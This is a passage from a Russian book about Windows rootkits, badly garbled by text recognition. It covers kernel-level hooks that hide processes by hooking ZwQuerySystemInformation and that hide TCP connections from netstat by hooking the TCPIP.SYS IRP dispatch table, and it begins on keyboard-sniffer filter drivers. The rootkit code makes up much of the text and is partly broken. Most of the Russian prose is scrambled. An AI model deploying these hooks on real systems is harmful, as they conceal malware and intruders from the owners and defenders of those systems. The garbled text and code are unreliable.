в а Гл
а 6.Пехрва
т н а уровн
е ярд
а
HOOK(ZwQuerySystemlnformation, MyZwQuerySystemlnformation, Pred_func); return STATUS_SUCCESS; }
оВ нО нж у о с ц е рп
т еп т р а е д уб
ь р а с ми о т т рсык в а т в с инме
м м а с у у н ц фк и ь п цор ыс е , н ачи ю щ иес ь т э у рок ст у (н е юамуд м _den*).
г 6.6. А Щ Ю А Щ Е М А З
Я ЦИ ФК Н У
о и з м ен и т
н ит с Ли
ю MyZwQuerySystemlnformation. я н а «_den». онКеч о , ва м , чт о в вша е й си ем т е е бду т нм г о о
Я MYZWQUERYSYSTEMINFORMATION
NTSTATUS MyZwQuerySystemlnformation( IN ULONG SystemlnformationClass, IN PVOID Systemlnformation, IN ULONG SystemlnformationLength, OUT PULONG ReturnLength) { NTSTATUS s; s = ((ZWQUERYSYSTEMINFORMATION)(Pred_func)) ( SystemlnformationClass, Systemlnformation, SystemlnformationLength, ReturnLength ) ; if( NT_SUCCESS(s)) { // Ксал с 5 эт о сосип к ос ец рп в if(SystemlnformationClass == 5) { struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *) Systemlnformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { if (curr>ProcessName.Buffer != NULL) { if(0 == memcmp(curr>ProcessName.Buffer, L" den", 12) ) { UserTime.QuadPart += curr>UserTime.QuadPart; KernelTime.QuadPart += curr>KernelTime.QuadPart; if(prev) f if(curr>NextEntryDelta)
159
RootKits prev>NextEntryDelta += curr>NextEntryDelta; else prev>NextEntryDelta = 0; } else { if (curr>NextEntryDelta) (char *)Systemlnformation += curr>NextEntryDelta; else Systemlnformation = NULL; } } } else // эт о зсипа ь дл я псецор а прост я (Idle) { // Добавляе м оксьлетав з п е процес н е мерв я и // понрсец е м е р в я яа р д , // оо м е а м и н т е пм а с е ц о р и _den*, к пс е ц о р у Idle curr>UserTime.QuadPart += UserTime.QuadPart; curr>KernelTime.QuadPart += KernelTime.QuadPart; // Сеавысрб м ремйат ы UserTime.QuadPart = 0; KernelTime.QuadPart = 0; } prev = curr; if(curr>NextEntryDelta) ((char *)curr += curr>NextEntryDelta); else curr = NULL; } } else if (SystemlnformationClass == 8) // зорпа с о понрсец м нем рв и { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)Systemlnformation; times>IdleTime.QuadPart += UserTime.QuadPart + KernelTime.QuadPart; } } return stat;
}
л ас о т О о р е пнор с цеор н е м вр 160
ь пснрояи т
ь оид е вямер
, кор т
н мнетмо . Елс
е зна имю
. Сыркт и снвитар т вс е пыцсоре
ь ощеб
е нма и пцсоре е пнор с цеор , т о рза н иц
ы зна имю т но т ке е вмер я с ны ср ам у а беду т н алиц о . Во
м т та к
в а Гл
а н ш и к рут т мж о е т бы т ь об н аруж е . аН й раз н и ц ы . Деласт я очен ь потср . Препдолжим он е вмер я равн о велич н е М . Смунра о нв а р о S. Раз н и ц а мжед у ним и S М = К о с в вбщо е нте . Кду а тдго а пйеод т раз н и ц а п с ц е и л ьа н ы й пцор се с Idle безйвдист с ц ео рп ы в сиемст е еьтс , т о поз иабьтс ж лн о д ы м ы смаи . Трпе ь ва м должн а бы т
отэ
6.4. СИЫТР КО
Е СИНЕ ДЕО
м н жу
а 6.Пехрва
т н а уорвн
е р яд
а
я о с ро ык и т и , чт о общ е е проц ес е вмеря , з анотя е вмес и п роц ес ам и , . Павистредм , чт о срык т х проц ес ? ноКче , сиемст а спиш е т е е н а е смиеытс . Н о послкь у рыск т е я о списан и в рем н и п а сче т Idle ь ясн а вс я унф кц и я .
Й (ТЦ И Л БА
о п оз аб ит ь с
А IRP)
М ы уж
е р а с м е ол т и в д а б о пс а ануст ов к и л ов уш е к в дря е в пврео м е м ы помиестл и л ов уш к у в таблиц у IDT, а в о ворт м в SSDT Н о в рд я е етс ь ещ е онд о мотсе , в корт е мжон о пимотсе ь лвошу к , эт о табли ц а ун ц к ф и й , имею щ с ая я в кожад м драйве е уройств . Сраз у посл е уаснт овк и й а р вде р и н и ц али з руе т таблиц ы фунцк и й в н и х соедржсат я асерд а фун ц ий к , обслуживаю щ и х раз личн ы е тип ы потека в IRP (I/O Request Packets). IRP управюля т н ое лс к ь и м и в ми а д и з ап рос в , н апри ме р з ап и сь , чент и . ьл о к с П у драйве ы уройст в сбал о пюровея ст я ан ит рукн ы м и с дер и м ав т , IRPтабли ц а тэ о илаьедн о е мтсе о дл я уанст овк и л о в у ш ик . ча у л с
и р т м о с аР
м а н с т рд ы
е и пт
ы IRPпеаоткв
, опредлн ы
е в Microsoft
DDK: • d e f i n e • d e f i n e • d e f i n e • d e f i n e • d e f i ne • d e f i n e • d e f i ne • d e f i n e • d e f i ne • d e f i ne • define • define • define • define • define • define • define • define • d e f i n e • d e f i ne • define
6 к а З
IRP_MJ CREATE IRP_MJ_CREATE NAMED P I P E IRP_MJ CLOSE IRP_MJ_READ IRP_MJ_WRITE IRP_MJ_QUERY INFORMATION IRP_MJ_SET_INFORMATION IRP_MJ_QUERY_EA IRP_MJ_SET_EA IRP_MJ_FLUSH_BUFFERS IRP_MJ_QUERY VOLUME_INFORMATION IRP_MJ_SET_VOLUME INFORMATION IRP_MJ DIRECTORY CONTROL I R P _ M J _ F I L E SYSTEMJCONTROL IRP_MJ_DEVICE CONTROL IRP_MJ_INTERNAL_DEVICE_CONTROL IRP_MJ SHUTDOWN IRP_MJ_LOCK CONTROL IRP_MJ_CLEANUP IRP_MJ_CREATE_MAILSLOT I R P MJ QUERY SECURITY
. 665
0 x 0 0 0 x 0 1 0 x 0 2 0 x 0 3 0 x 0 4 0 x 0 5 0 x 0 6 0 x 0 7 0 x 0 8 0 x 0 9 0 x 0 a 0 x 0 b 0 x 0 c OxOd OxOe OxOf 0 x 1 0 0 x 1 1 0 x 1 2 0 x 1 3 0 x 1 4
161
RootKits # d e f i n e # d e f i n e # d e f i n e # d e f i n e t d e f i n e # d e f i n e # d e f i n e # d e f i n e
IRP_MJ_SET_SECURITY IRP_MJ_POWER IRP_MJ_SYSTEM_CONTROL IRP_MJ_DEVICE_CHANGE IRP_MJ_QUERY_QUOTA IRP_MJ_SET_QUOTA IRP_MJ_PNP IRP_MJ_MAXIMUM_FUNCTION
о ка К й драй ве р и киак е ег о ит е сьелдат . Неюад сь , в ы (н еослкь о в счлуа е мн гопцр се (у гжоадк о драй ве а св о)я ине , в ы долж н ы уаснт ови SYS. В эот м парг ф е м ы лсЕ и ж е расмрти ва ь вс
IRP исполь з ват пно иемта . Елс
и вы ь ловуш к
рирмсато е воз мжн ы
0 x 1 5 0 x 1 6 0 x 1 7 0 x 1 8 0 x 1 9 O x l a O x l b O x l b
? Эт о з ави с т о т тго , чт о в ы хо , в че м длео . IDT онд аеидн вст н а я е й маш ин ы ) , а IRPтабли ц ы — рзан ы , н априме , хито е ср кы т ь Т С Р с о е ди у дл я IRPтабли ц ы рд а й в е а TCPIP. м ловуш к у имне о дл я эогт о драйве . е драйвеы , т о и кн и г и н е хивта .
ш На ч лу с е а алуден ог
а ц ле ь сркы т ь свеыт е ы п тро . Эт о очне ь важн о , вде ь в боль ш инвст е в и р ку т т е д бу т и сп ол ь з в ат ь Т С Р с о е ди н е и я д л я п а в роесдт л н и я о уп ост а д . рыСк ват ь а с м цп о рс е , преодасювтля щ и й а л у де н ы й пу тсо д , м ы толь к о чт о н аучил сь , н о уитл ы д овр е netstat (ри с . 6.2) мос уг т пазокьт , чт о ыронтке й пцор се с уанстови л TCPсоеди н е и е . лсЕ и ж е е н ма и т р по ы м ы уанст ови м л ов уш к у в IRP драйве а TCPIP. SYS, оркыт н ит к о н е увидт .
с.Ри
и тУ л нр е м о 162
а netstat п оакз ы в ае а порт в и сноясти
6.2. ы нйчипТ
выодв
т п р о т кл е соеидн ия
ут тли ы
, л ока ь н ы .
netstat
й и у да л е н ы
й асер д
,
в а Гл П Р И МЕЧ А Н И Е
т н а уров н
е яр д
а
.
ы р и С от к у м е ющ е г и т в севто де м гов риьт
е ов р еП с е д уб т лД н цу к и ф л в т йс о р ц
а 6.Пехрва
е с о е ди н о псоьвлазт й IDS эот .
й с пом щ ь я праомг о т м оет д б ес ил ен
, чт о на м ннжу о стале д м с м и сзвяан ы т T C P I P. SYS, а уйвортс а дйарве о уазкт ь им я файл я го т э о и с п о л ь з су е т я у н цф к и и н жун о птадер ь им а ( P F I L E _ O B J E C T ) и объке а сержоди т уазкелт и у фунцк и й (ри с . 6.3). дйарвое
тОбъ ек
уст ройст в
та ле з к У
ь н а об
ю IRP пеом ож т убесрчь й netstat, и ноырт ек . О то м , ка к об ойт
я о т гла з полвзьает я , х лыналь ок х IDS. Н о про и севту ю IDS, м ы ещ е б у
ь дл я птавхер а IRPтилбцаы , т э о оьилестпдр ни м уройвстм . В нша е м сл уч а е р да й в е о м \ \ D E V I C E \ \ T C P . Н О М Ы н е мжое , м ы должн ы и споль з ват ь об ъ ек т драйве я loGetDeviceObjectPointer. я увайортс , а н а вы дох е получи м объек т рой в уст а (PDRIVER_OBJECT). Объ ек н а объке т драйве , ыротк й се ор дж и т
м прос Д ан о т фай т тсу а бт л и
я м . й
а . др
.
б Оъ к е
т драйв ер
а
IRP MJ WRITE
с.Ри
а К к б оы ч н о ор т к е а л т вс бо чт р п и вы груз к к в но и
6.3. Обътек
уст строй ав
, икрут т ол жд е н сохран иьт й в ы хиот е уаснт ови ь лшуво к е нибоедхмы е дейвсти я , он а мжое ы н итк о н ичге о н е з апозд рил . Тж ка и лсе е и рк у т а и з птамя м исполь з ват ловуш к и м ы беду
и обътек
ер да . Плсо
с ори г н ал ь н о е тго
т вы з ват е аерд и в ы зиахот ь фунцки
ю у д е щл С и н ием
ера в дрй
й у н ф цк и , дл я , ка к вша а фун цк и я сед ь ори г н аль н у ю фунцк и ю с индохс й фунцк и и нжуе н е эт о седльат . Д л я уаст ю InterlockedExchange.
й о к д получае т азук ел т ь н а драйве р TCPIP. SYS (п о з адн ом т лов уш к у дл и у с тр о й с тв а \\DEVICE\\TCP) и у с та н а в л и в а е IRP_MJ_DEVICE_CONTROL (и с п о л ь з у е тс я дл я у п р а в л е н и я ТСРуст р о й св т м ) . тси Л н
г 6 . 7 . ПХРЕВА
у я
Т IRP M J DEVICE CONTROL
• include " n t d d k . h " • include " t d i i n f o . h " PFILE OBJECT p t r file; 163
RootKits PDEVICE_OBJECT ptr_dev_tcp; PDEVICE_OBJECT ptr_dev_tcpip typedef NTSTATUS (*Prev_IRPMJDEVICECONTROL) (IN PDEVICE_OBJECT, IN PIRP); Prev_IRPMJDEVICECONTROL prev_func; NTSTATUS Install_Hook() { NTSTATUS s; UNICODE_STRING dev_unicode; WCHAR dev_name[] = L"\\Device\\Tcp"; ptr_file = NULL; ptr_dev_tcp = NULL; ptr_dev_tcpip = NULL; RtllnitUnicodeString (&dev_unicode, dev_name); s = IoGetDeviceObjectPointer(&dev_unicode, FILE_READ_DATA, &ptr_file, &ptr_dev_tcp); if(!NT_SUCCESS (s)) return s; ptr_dev_tcpip = ptr_dev_tcp>DriverObject; // сеянархо м ерда с ооньлаигр й ицкнуф и prev_func = ptr_dev_tcpip>MajorFunction[IRP_MJ_DEVICE_CONTROL]; // устанвлие м ловушк у фицкну ю с иенм м hook if (prev_func) InterlockedExchange ( (PLONG) Sptr_dev_tcpip>MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)hook) ; return STATUS_SUCCESS; }
аН м оалост ь толь к о н апист ь сма у фунцки ю hook. Эт о и беду т смоа й сжол но й чьтса ю н ша ге о з адн и я . Пр и раз крбот е эот й фунцк и и на м н ужн о учи ыт ва ь раз н ы е итп ы IRPз апрос в л д я рай д в е а TCPIP.SYS ьдве , км о р е IRP_MJ_DEVICE_CONTROL, тсе ь ще е и дгури е з ап росы . Эт о бы л о е ов р п , чт о на м н ужн о уч иыт вьа . А ворт е тэ о ко д управлен и я мовд выод м IoControlCode. Есл и о н веа р н IOCTL_TCP_QUERY_INFORMATION_EX, т о драй ве р озбяа н п р а е во д с т и ь пмгаор е вдор е netstat и нормафц и ю об о есв х соеид н и я х (об о вес х оыркт х поархт) . е уф Б
р вщ яходи
х з апрос
в н ужн
о привест
и к тип
у TDlObjectID:
#define CO_TL_ENTITY 0x400; #define CL_TL_ENTITY 0x401; #define IOCTL_TP_QUERY_INFORMATION_EX 0x00120003 typedef struct TDIEntitylD { ulong tei_entity; ulong tei_instance; } TDIEntitylD; typedef struct TDlObjectID {
164
в а Гл
а 6.Пехрва
т н а уорвн
е яр д
а
TDIEntitylD t o i _ e n t i t y ; ulong t o i _ c l a s s ; ulong t o i _ i d l } T D I O b j e c t I D ;
ю у д ле С щ и й ш а г м ы долж н ы н ай т и е б уф р в до а и п ри вест и ге о к тип у м од м ет а TDIObjectID. Есл и lRPз ап ро с п осы л ает я с и сп оль з ов ан и е METHOD_NEITHER (ка к в случа е netstat), т о бе уф р в од а м ож н о н ай т и в лоп е P a r a m e t e r s . D e v i c e l o C o n t r o l . T y p e 3 I n p u t B u f f e r IRPстеак . ю у н ф цк и и IoGetCurrentlrp а С м IRPсет к мож н о п ол уч и т ь с пмощ ь StackLocation: PIO_STACK_LOCATION p l r p _ s t a c k = I o G e t C u r r e n t l r p S t a c k L o c a t i o n ( p l r p ) ;
е фу Б ю у д е лщ с г
р вд о
а можн о оаропте
о получит
ь и пирвтсе
и к тип
у TDIObjectID с пмощ ь
ю
:
inpbuf = (TDIObjectID *) irp_stack>Parameters.DeviceloControl.Type3InputBuffer;
лД
я срыокит я TCPпорт в м ы бе ду м ипсльозвта ь зпасор ы отбъке а CO_TL_ ENTITY, а дл я UDPпорт в CL_TL_ENTITY. Тж ка е н жу о учиыт ва ь пло е ю мжон о опелридьт , с киак t o i _ i d рутк с ы TDIOb j ectID с ег о пщомь м и кюл мча и плоьзевта ь зиптасу л уитл у netstat (н априме , netstat о ) . ьл о к с П
у бе уф р вдво а пиревд t e i _ e n t i t y долж н о жре дос та ENTITY дл я UDPп ортв
ни д е л с о П о корт в оад/ в ы оад и з аполн и и л ь вор та п ф
й ш а г э т о ннапис й м ы уж е упомин ал , кдго а драй ве т е б уф р вы до ь эт и дан ы
н к тип у TDIOb j ectID, пло е t u i _ e n t i t y . ь CO_TL_ENTITY дл я TCPп орт в и CL_TL_ . е снево тсб й фнуцки и в п . 5.6. Эт у фунцк и р TCPIP. SYS зонакчи а з ап рош ен ы м и ад н ы м и е в иасерн т х риакту
и loCompletionRou t i n e , ю в ы з в ае т Д и с п еч т р т обраыт ва ь IRPп аек т я . М ы вед ь собираем , н е та к ли ?
та дер П
ь п р ма те ы у н ц фк и и IoCompletionRoutine можн о ч ер irp_stack>Context. имЭт и пмарте и буд т аерд с иснход й фунцк и е i n p b u f > t o i _ i d , чбот ы у фн к ц и IoCompletionRoutine и з н ач е и лг ом а опредлит ь форма т бре фу а вы авдо .
ил а ь с п т у З ыро т к
? иНчгое й вс е павости н и тс Л
г 6.8. А Н Е В Т С Б О С
, сйчеа с м ы рир томса т н а сво и мтсе Я ЯИЧТЦ ФУО БАКРН О
а (ли стн
м нп л о ы й ко д фунцк и ловуш ик г 6.8).
з и я ,
К IRP_MJ_DEVICE_CONTROL
NTSTATUS hook (IN PDEVICE_OBJECT pDeviceObject, IN PIRP plrp) ( к // улетазк ь н а IRPсет
165
RootKits PIO_STACK_LOCATION sirp; // моте д чадер п и (на с иеусртн т METHOD_NEITHER) ULONG io_transType; // бефу р дов а TDIObjectID *inpbuf; // пртема ы дл я IoCompletionRoutine DWORD context; // Пеачуло м летаз ку ь н а IRPсет к sirp = IoGetCurrentlrpStackLocation( plrp); switch (sirp>MajorFunction) { case IRP_MJ_DEVICE_CONTROL: if ((sirp>MinorFunction == 0) && (sirp>Parameters.DeviceloControl.loControlCode == IOCTL_TCP_QUERY_INFORMATION_EX)) { io_transType = sirp>Parameters.DeviceloControl.loControlCode; io_transType &= 3; if (ioJzransType == METHOD_NEITHER)
f inpbuf = (TDIObjectID*) sirp>Parameters.DeviceloControl.Type3InputBuffer; // TCPптека ы CO_TL_ENTITY if (inpbuf>toi_entity.tei_entity == CO_TL_ENTITY) { if ( (inpbuf>toi_id == 0x101) | (inpbuf>toi_id == 0x102) || (inpbuf>toi_id == 0x110)) ( // веавыз м IoCompletionRoutine, лсе и IRP уешпс н sirp>Control = 0; sirp>Control |= SL_INVOKE_ON_SUCCESS; sirp>Context = (PI0_C0MPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO)); ((PREQINFO)sirp>Context)>01dCompletion = sirp>CompletionRoutine; ((PREQINFO)slrp>Context)>ReqType = inpbuf>toi_id; sirp>CompletionRoutine = (PIO_COMPLETION_ROUTINE)Completion; } } } }
166
валГ
а 6.Па в х е р
т н а нвору
е рдя
а
break; default: break; } // еавыз м ундохси ю ицкнуф ю уинелварп я устрой в return prev_func(pDeviceObject, plrp);
м
} р еп Т
ь йе п р д м к раз к б от tionRoutine, уротк ю н з а в ое еч м прыед ущ ая . а з О к ы в с яа е т
е н ша ге о в ари н т а у н ф цк и м MyCompletion. Он а беду
и ioComple т ще е сложн е ,
, вес , чт о бы л о снлаед о вы ш е , тэ о толь к о дл я тго , чбот ь в сет к IRP зшврае ю щ у ю фунцкию . Тлоьк о с е е пмощ ь ю можн х сх няиед о , вымщеарзво е дорйева м TCPIР ь днаы е о сыв е т ь очитобар к IRP (нша а фнуцки я hook) н е в снияотс и эго т о сталед ь ж бы л о з умадн о Microsoft. Очевинд о , дл я бльош е й б ез оп асн и т , н эт о обош ли.
ив т а б ти а в х е р д еВ у и
о чм е н т о , з аверш ю щ а я п цор у де а К к уж е бы л л бе фу р ваыдов . Сома е сжлоц а к к TCPIP. SYS з аполн и р е ф уб а вы вдо а з ави с т о т кюл чйе , кырот е поль з велат netstat. Наприме , кюл ч о уитл ы netstat пезовля вос , ыротк м п р и н ал д е ж т ры к от е т рп о ы (ри с tasklist мжон о н айт и и сп ол нем ы я й фай л пц о р с е
ы до о пе . SYS. ат к о м ы
а в ы з ы в а ес т
я п лсо е го т е в тмо , чт о суртк ь уакз л пр и вы зво т вы тсве и PID проц ес . 6.4). Пот м с п мо щ ь а п о ег о PID (ри с . 6.5).
, а е ю
|a X
« C:\WIN00WS\System3Z\cmd,e»ie Microsoft Windows XP [В ерси я 5.1.26001 орКп ац и я М а й рк от с ф , 198S2Q01.
Л
C:SDocuments and S e t t i n g s S D e n i s > n e t s t a t о н ыви т к А
е п л ю ок д ч е н и мИ я TCP TCP TCP
я
ьл а н к о ы Л й адре den:l215 den:1589 den:1590
с
ши н е В
й адре с 64.12.25.149:519(3 pop.nail.псрор З a d s . u e b . a o l . c o n : h t t p
С о с т ня и е ESTABLISHED TI№ _ UAI I ESTABLISHED
PID 1452 0 1452
C:\Documents and S e t t i n a s \ D e n i s > _
с.Ри
лсЕ ру т е д уб
6.4. ми ыВодв
PID вельвц лад
порт ов
и netstat з апущ ен а с кюл чо м о , т о TCPIP. SYS воз ращ е а с клю чо ы CONNINFO102. лсЕ и ж е netstat з апущ ен т суртк а CONNINFO110.
т бе уф р срукт м Ь , т о у ебруф
а
167
RootKits
1Ш *J
е л C:\WIND0WS\System32\tmd.exe LSflSS.EXE SUCHOSI.EXE SUCHOST.EXE SUCHOST.EXE SUCHOSI.EXE ЕХ8РШ ЕВ.ЕХ Е SP00LSU.EXE KUNDLL32.EXE CTFHON.EXE NUSUC32.EXE o u t p o s t . e x e t h e b a t . e x e TOTftLCMD.EXE UINUOBD.EXE O p e r a . e x e n g e . e x e ftaentSur.exe лЖЛ «С Й ^ и Н з^ я й к х э
!
c n d . e x e n s p a i n t . e x e SUCHOSI.EXE t a s k l i s t . e x e i m i p r u s e . e x e
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
V84 C o n s o l e 936 C o n s o l e 9 8 0 C o n s o l e 1132 C o n s o l e 1216 C o n s o l e 1 3 0 4 C o n s o l e 1480 C o n s o l e 1S36 C o n s o l e 1 5 4 4 C o n s o l e 1628 C o n s o l e 1648 C o n s o l e 1932 C o n s o l e 668 C o n s o l e 1 2 0 C o n s o l e 1 9 0 4 C o n s o l e 1528 C o n s o l e ^ « C o n s o l e ш^ Ш ЛЈ. >2 C y n s o l e N ^ 6 ( K L Ј 6 n s o l e 1ьи ш C o n s o l e 1 5 0 0 C o n s o l e 1 9 2 0 C o n s o l e 1 3 6 0 C o n s o l e
1 276 К Б 1 4 4 0 KB 8 4 6 4 KS 892 К Б 588 К Б 8 8 5 2 К Б 9 4 0 К Б 4 0 0 К Б 668 К Б 4 0 8 К Б 15 9 4 0 К Б 19 9 2 8 К Б 3 5 8 8 К Б 4 3 3 3 2 К Б 28 728 К Б 8 8 4 0 К Б 6 072 К Б 1 4 636 К Б 1 4 5 2 К Б 13 5 9 2 К Б 2 9 4 0 К Б 2 7 0 0 К Б 3 8 1 6 К Б
ll
C : \ D o c u n e n t s and S e t t i n < j s \ D e n i s >
с.Ри
В о в се Р а с м ор ти
х о с та л ь н ы
х случ ая м вс е эт и сурытк
6.5. ми ыВодв
х у б е ур ф :
ссокип
ач ад з
а б уе д
т с тр у к р
а CONNINFO101.
#define HTONS(a) (((OxFFSa)8) ) typedef struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unkl; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; } CONNINFO101, *PCONNINFO101; typedef struct _CONNINFO102 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unkl; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned long pid; } CONNINFO102, *PCONNINFO102; typedef struct _CONNINFO110 { unsigned long size; unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unkl;
168
"Г ]
в а Гл
а 6.Пехрва
т н а уровн
е яр д
а
u n s i g n e d l o n g d s t _ a d d r ; u n s i g n e d s h o r t d s t _ p o r t ; u n s i g n e d s h o r t u n k 2 ; u n s i g n e d l o n g p i d ; PVOID u n k 3 [ 3 5 ] ; } CONNINFO102, *PCONNINFO102;
Ф у н кц и я MyCompletion получае цк и я hook вы дели а пь т а м я PREQINFO. В ы бетуд е и сп ол ь з ов ат ож а д К е соеди н е и е н аходист 0 н евидмо
т уакз етл . Context тэ ь ге о дл я в опредлн о
;
3 SYN_SENT пвартоле
н SYN;
4 SYN_RECEIVED SYN пчулоне
н ит с и Л
;
5 ESTABLISHED анустовле
;
6 FIN_WAIT_1 ожианд
е FIN (l);
7 FIN_WAIT_2 ожианд
е FIN (2);
8 CLOSE_WAIT ожисаетд
я з раык ит
9 CLOSING исоедн и
а и кр у т
, чт о саптря с 0 (н ев и д м)
я р ыс к в а т о ж ом е с
, п редосатви я MyCompletion пниервд А Ы Н ДА
е соеидн и я
е з раык всеят ь вс е н жун ы ?
, м ы собираем т вс н бо д
г 6 . 9 . К Т О Б А Р Б О
а .
;
2 LISTENING прослуш ивсяает
В ы уж е понлия лд я ни х сута
о унф е ит п
;
1 CLOSED зрыак от
Д оп и уст м дг о Т о км п ь ю ет р ж е р вт у н ф цк и
ь Context, дл я октрг о у а к з те л ь н а дан ы я о тс л е ж и в а н и я с о е ди н е и й м с о тн я и :
Х о Х Я И Н Е Н И СД Е О
;
. е на м соеидн и
я можн
, уаснт ови
в
ь все соеидн и я п о 23 порт у (telnet). т з ап и уст ь в соб ен т ы й telnetсерв р н а в ва м telnetдосту п к компь ю етру . Наш а а в листн г е 6.9. , ННЫ Е Ч У Л ПО
Х О Т TCPIP.SYS
NTSTATUS MyCompletion (IN PDEVICEJ3BJECT pDeviceObject, IN PIRP pl'rp, IN PVOID Context) { PVOID outbuf; // ефуб р довы а DWORD numbufs; // втсечилок о орефуб в довы а PIO_COMPLETION_ROUTINE p_cRoutine; DWORD i;
169
RootKits o u t b u f = p I r p > U s e r B u f f e r ; / / п о л у ч а е м ь д щ еп р у ю CompletionRoutine, п е р д а н у ю чере p _ c R o u t i n e = ( ( P R E Q I N F O ) C o n t e x t ) > 0 1 d C o m p l e t i o n ; i f (((PREQINFO)Context)>ReqType == 0x101)
з C o n t e x t
{
numbufs = Irp>IoStatus.Information / sizeof(CONNINFO101); f o r d = 0; i ReqType == 0x102) { numbufs = Irp>IoStatus.Information / sizeof (CONNINFO102); for(i = 0 ; i ReqType == 0x110) ( numbufs = Irp>IoStatus.Information / sizeof(CONNINFO110); for(i = 0 ; i S t a c k C o u n t > (ULONG)l) && ( p _ c R o u t i n e != NULL)) {
r e t u r n ( p _ c R o u t i n e ) ( p D e v i c e O b j e c t , p l r p , NULL); ) e l s e {
return pIrp>IoStatus.Status;
6.5. МЫВЕН ОР У ГОН В эот а т е пк е вл ь а т о с к 170
Е ДРРЕВЙА м р а з де л е м ы п о ы а те м с х IRP и том , ка к вбщо й п рог ам й и драйвеом
Ы я с и ет м а з и р о в а т е пиордхс
т е мб о .
н дан ы м
ь от , чт о уж и ж ем д
е уз н ал у п ль о з
и о
в а Гл
Р з а ч б р т ио к еб с
, н о и нма в цу кчопе . Допуистм ер т х ржеимха •
с ш ровианф е
м дна ы х
•
с ш ровианф е
м и кцореки
и тер юн ящ и Н о мжон щусо е в л я т е ва л я п тсо д р шн а е м ыв р п е о р й беду т ы ртбоа на д ы х юл кч и
еЧ й а рв е д ер п
; й ош ибко
.
т произ вдт ы п вре ы . Промежчутн ы рраест
х е д бу
т со о с м п ри л о . Вор т й и , вы пол
й поль з овеалть иск ы с урсотйвм й ом п к н е т о эонк м о
.
ь и мн вгору еы е в з а и м е йо д с т
, чт о пр и заркбто я о фунцк ихя : эт и фунцк и и дл
е рай д в е а ел бо , кырот е в ы п ол н ю я я ва с уж е кот т о реали з овал
ы ве с х унвоер й дл я огнод р г мо а с о н и з ог к о уров н ы в ы с о кг о уров н я об ы ч н ) анд ы х , до к ы шо икб а в друго й и други е оп ерац и .
м ж е и н ер с т ы м н ог ур в е ы ы н е толь к о ы п в х те ар ю д пчаедр й н а сюулде щ и ни я риоквут . я м н ог ур в е ы о сме тси
й и з оры т к й н е п о с рв д т н
й драйве . Самы й н и з к е с уросйтвм . Самы й и ен й рт ф с д л я бар то ы с урсотйвм о рой в уст а MyDevice едбу т рт и ь н изоурвкн еы е услуг и дву м слуеюд щ им ь ш ровианф е дна ы х , а тирет й получ ат х дву х и пртаеовдсля ь в н е б то с у ю услуг у й драйве р мжон о беду т н арсоти ь (н ап ри ме ) тка , чбот ы пропатуск ь ш а г ш риовфан и я .
т ап н р т о т п о л ь з в е ал т ь и с к е у н т го кар б с т преоадтсвля
члуса й беду
И сп ол ь з у в т сй о р
а
;
о орган из оват
о з абиоть с
е ярд
ы Windows облегчи и жизн ь н е толь к о ь драйве ы н до г о и тго о ж е урсотйв а я п бс ое ч и т ь т бо а р у урсотй в а MyDevice в
о н ап и с т ь р т и л ье д н т о ы х йар д в е , ажкыд ь а к к ом п к н е т н и з ог к о уров н я , аюрбот щ и , та к и кпнмоет , пюаволстреяд щ и м в ы о у рс к н е в ы й и е й н р фт с дл я тбоар й драйве ы буд т влюк чат ь ещ е и промежчутн ы й ш роивафн е и кцорекию . Н е слиш омк т
й о р пу а т ж не и я
Д рай в е Д рай в е ав лст ен и т ам н ч еп м и
, тсребут
т н а уров н
:
об ы ч н ы й
жн о М
р ей в а Д
й м е ит с в с ои е д н т я
•
ж рт еа д
я с П чл уо т е а нжу г о уровн я
и операц ион , приумда
а 6.Пехрва
о ув тйсор я е а тб о р о в о те ч а ю
й уровен ь
ы д о г жо к тсе
т цукепоч
к н е сзвяан ы
е р адй в е т и пюадер . Он
ь з е р л уь а т о рц ке и
я ав м н е е н и з ок
драйвео. о с «желз ом» х и з н до г
е с ап арнт ы
ы дл я н ас ? Мн огурвн еы т а нд ы е , н о и и з менюя и иедаль н о пхяод т дл
, м ы жеом о да кис
ь й . В : , вот ю , чер з
.
т з а о фр м а т и р о в а н и е ад н ы
, преобаз вн и , н иак
рай д в е
о уров н ы б л ео
т драй ве
а фюимуро т н е п о в с р тд н
е р да й в е ы ы о т кру тиав л
е в ы ог с к
й уровен й в ы ис о к
м п е р х в иа т . К тм о
ь лю б о у ж е мнвыоеруг
е (п ред о орф м б со е
.
е т и х я з о са д е тсу
е 171
RootKits
р адй в е уров н е г
ы п оз вю л я о кадо
П р еп д о л ж и м у км об есп ч и в аю щ и ч и ел ьт н
о пщор е
6 . 5 . 1 . К А ж е д рП о б съ н я и т л ак в и у р т ы нру та ы
ш сне фи
но
и уж п о ц епочк у чц кпо е
о до б а в л е н и н созатд в (ц еп оч к й рисун о
й драй ве
ь клавиурнт ы я л ав к и ш
ш драй ве
дг о К п ол н е я
. На
е н аж и т р с н уля
й лавкиш .
К W I N D O W S РАБОТ Е
я др а й в е р ь уройств у у с тр о й с тв ) к (ри с.6.6) .
а в ц еп оч к о и добавит . отбЧ
• • • 172
о мн огурв еог т др а й в е м и
. Прощ я н ап и с т м н а приме
и беду
е сзвяа н с сювутс ещо и м йв о р т с у м в ея л с т р (рутки ) смыа й внхреи й в цепчок м / d e v i c e / s n i f f e r .
п ол уч ае п щм ео а еа п д р
ь н аж и м е е дей свти я т санкок д н ожат т санкок д клавиш т IRP с о снакодк
т квиашл у :
, драйве
о дйар е г е св ь е сн ф и е с клави
м уровн е
. Сома я в ла и кш я ввер х и вн и ь на ш рикут т в эт
ь н аж и т
у др а й в е р о ь ег о в свсутюое щ у ы бы л о п о н тя е
р в ц епочк
о р
е , з у
в н е до с ат ч н о
.
ю гпур , расмоти
м урсотйв я о н к р тл е
р л ка в и у тр : о н раетбо
с снветбсоы
, пко
м м в гпур е ы 8042. м
. ждерП е я IRP. IRP а н е дигнтсое т ь IRP ил и
р 8042 последвать н
